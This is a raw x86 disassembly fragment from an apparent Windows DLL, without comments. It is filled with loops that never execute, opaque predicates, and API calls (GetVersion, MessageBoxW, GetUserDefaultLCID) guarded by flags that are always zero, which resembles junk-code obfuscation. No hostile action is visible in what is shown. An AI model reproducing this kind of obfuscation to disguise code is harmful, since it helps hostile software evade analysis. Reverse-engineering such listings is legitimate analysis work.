mov dword [ebp - 0x260], eax
cmp dword [ebp - 0x260], 4
jge 0x1000b5e2
mov eax, dword [ebp - 0x260]
mov dword [ebp + eax*4 - 0x121c], 0x13dd
jmp 0x1000b5b9
mov dword [ebp - 0x2c8], 0
jmp 0x1000b5fb
mov eax, dword [ebp - 0x2c8]
inc eax
mov dword [ebp - 0x2c8], eax
cmp dword [ebp - 0x2c8], 3
jg 0x1000b6e9
mov dword [ebp - 0x268], 0
jmp 0x1000b621
mov eax, dword [ebp - 0x268]
inc eax
mov dword [ebp - 0x268], eax
cmp dword [ebp - 0x268], 2
jge 0x1000b63d
mov eax, dword [ebp - 0x268]
mov dword [ebp + eax*4 - 0x950], 0xdae8c9f3
jmp 0x1000b614
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x950], 0
jmp 0x1000b66b
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x950]
inc eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x950], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x950], 3
jg 0x1000b6cc
mov dword [ebp - 0x320], 1
mov dword [ebp - 0x320], 0
jmp 0x1000b69e
mov eax, dword [ebp - 0x320]
inc eax
mov dword [ebp - 0x320], eax
cmp dword [ebp - 0x320], 3
jg 0x1000b6ca
mov byte [ebp - 0x10c], 0
movzx eax, byte [ebp - 0x10c]
test eax, eax
je 0x1000b6c8
push 0
push 0x1a1a
push 0
call dword [sym.imp.GDI32.dll_GetObjectW]
jmp 0x1000b691
jmp 0x1000b650
mov byte [ebp - 0xf4], 0
movzx eax, byte [ebp - 0xf4]
test eax, eax
je 0x1000b6e4
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
jmp 0x1000b5ee
mov dword [ebp - 0xe4], 0
mov dword [ebp - 0x5a4], 0xcd430964
mov dword [ebp - 0xabc], 2
mov dword [ebp - 0x270], 0
jmp 0x1000b720
mov eax, dword [ebp - 0x270]
inc eax
mov dword [ebp - 0x270], eax
cmp dword [ebp - 0x270], 1
jge 0x1000b73c
mov eax, dword [ebp - 0x270]
mov dword [ebp + eax*4 - 0x77c], 0xfffffffa
jmp 0x1000b713
cmp dword [ebp - 0xe4], 0
je 0x1000b811
cmp dword [ebp - 0xe4], 0
je 0x1000b7a1
cmp dword [ebp - 0xe4], 0
jne 0x1000b76d
mov eax, 0xe19e
test eax, eax
jne 0x1000b76d
and dword [ebp - 0x58c], 0
jmp 0x1000b777
mov dword [ebp - 0x58c], 1
cmp dword [ebp - 0x58c], 1
jne 0x1000b78c
mov dword [ebp - 0x774], 1
jmp 0x1000b793
and dword [ebp - 0x774], 0
mov eax, dword [ebp - 0xe4]
cmp dword [ebp - 0x774], eax
jge 0x1000b7b3
cmp dword [ebp - 0xe4], 0
jne 0x1000b7b3
and dword [ebp - 0x594], 0
jmp 0x1000b7bd
mov dword [ebp - 0x594], 1
cmp dword [ebp - 0x594], 0xfffb
jne 0x1000b7d5
mov dword [ebp - 0x8bc], 1
jmp 0x1000b7dc
and dword [ebp - 0x8bc], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x8bc]
mov dword [ebp + eax - 0x77c], ecx
mov eax, dword [ebp - 0xe4]
mov dword [ebp - 0x1058], eax
mov eax, 0xea964a90
add eax, 0xfffffff9
je 0x1000b811
mov dword [ebp - 0x59c], 1
jmp 0x1000b818
and dword [ebp - 0x59c], 0
mov eax, dword [ebp - 0x59c]
mov dword [ebp - 0x5a4], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x77c]
cmp dword [ebp - 0xe4], eax
jle 0x1000b842
cmp dword [ebp - 0xe4], 0
je 0x1000b857
cmp dword [ebp - 0x5a4], 0
je 0x1000b857
mov dword [ebp - 0x854], 1
jmp 0x1000b85e
and dword [ebp - 0x854], 0
mov eax, dword [ebp - 0x854]
mov dword [ebp - 0xabc], eax
mov byte [ebp - 0x13d], 0
movzx eax, byte [ebp - 0x13d]
test eax, eax
je 0x1000b882
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x1b8], 0x99dada43
mov dword [ebp - 0x2d0], 0
jmp 0x1000b8a5
mov eax, dword [ebp - 0x2d0]
inc eax
mov dword [ebp - 0x2d0], eax
cmp dword [ebp - 0x2d0], 3
jge 0x1000b8c1
mov eax, dword [ebp - 0x2d0]
mov dword [ebp + eax*4 - 0xf7c], 1
jmp 0x1000b898
mov dword [ebp - 0x1b8], 2
jmp 0x1000b8da
cmp dword [ebp - 0x1b8], 0
jl 0x1000b94c
mov dword [ebp - 0x1b0], 0xe90a624c
mov byte [ebp - 0xf6], 0
movzx eax, byte [ebp - 0xf6]
test eax, eax
je 0x1000b915
push 0x16bb
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_MessageBoxW]
mov dword [ebp - 0x1b0], 0
jmp 0x1000b92e
cmp dword [ebp - 0x1b0], 3
jge 0x1000b94a
mov eax, dword [ebp - 0x1b0]
mov dword [ebp + eax*4 - 0xf7c], 0
jmp 0x1000b921
jmp 0x1000b8cd
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0xf7c], 0x444
jg 0x1000b96b
mov dword [ebp - 0x5ac], 1
jmp 0x1000b972
and dword [ebp - 0x5ac], 0
mov eax, dword [ebp - 0x5ac]
mov dword [ebp - 0x1b8], eax
mov dword [ebp - 0x174], 2
mov dword [ebp - 0x1060], 0x57689a5a
mov dword [ebp - 0x9cc], 0x17473468
mov dword [ebp - 0x278], 0
jmp 0x1000b9b5
cmp dword [ebp - 0x278], 1
jge 0x1000b9d1
mov eax, dword [ebp - 0x278]
mov dword [ebp + eax*4 - 0xac4], 0xa0c8d467
jmp 0x1000b9a8
mov dword [ebp - 0x174], 0
jmp 0x1000b9ea